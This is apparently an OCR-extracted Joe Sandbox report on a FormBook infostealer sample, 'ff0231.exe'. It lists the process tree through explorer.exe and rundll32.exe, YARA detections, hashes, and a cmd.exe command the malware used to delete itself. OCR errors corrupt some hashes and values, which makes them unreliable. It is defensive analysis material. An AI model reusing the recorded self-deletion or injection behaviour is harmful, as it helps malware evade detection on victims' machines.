7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e
0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body>
</html>

Analysis Process: ff0231.exe PID: 6660 Parent PID: 5540

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

14:50:29

25/11/2021
C:\Users\user\Desktop\ff0231.exe
true
"C:\Users\user\Desktop\ff0231.exe"
0x400000

291150 bytes
B2BDB06E477BEOFC87F7BBD744FF7D38
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

low

Show Windows behavior
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File Created

File Deleted

File Written

File Read

Analysis Process: ff0231.exe PID: 5348 Parent PID: 6660

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

14:50:31

25/11/2021
C:\Users\user\Desktop\ff0231.exe

true

"C:\Users\user\Desktop\ff0231.exe"
0x400000

291150 bytes
B2BDB06E477BEOFC87F7BBD744FF7D38
true

true

C, C++ or other language
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Yara matches:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3424 Parent PID: 5348

General

Start time: 14:50:35

Start date: 25/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6fee60000

File size: 3933184 hytes

MDS5 hash: AD5296B280E8F522A8A897C96BABOE1D

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high

Analysis Process: rundll32.exe PID: 7024 Parent PID: 3424

General

Start time: 14:50:55

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe
Imagebase: 0x1070000

File size: 61952 bytes

MD5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: high

File Activities Show Windows behavior

File Read
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Analysis Process: cmd.exe PID: 6580 Parent PID: 7024

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14:51:00

25/11/2021
C:\Windows\SysWOW64\cmd.exe

true

Ic del "C:\Users\user\Desktop\ff0231.exe"
0x11d0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 6068 Parent PID: 6580

General

Start time: 14:51:01

Start date: 25/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: explorer.exe PID: 6012 Parent PID: 576
General
Start time: 14:51:31
Start date: 25/11/2021
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Copyright Joe Security LLC 2021

false

explorer.exe

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior
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Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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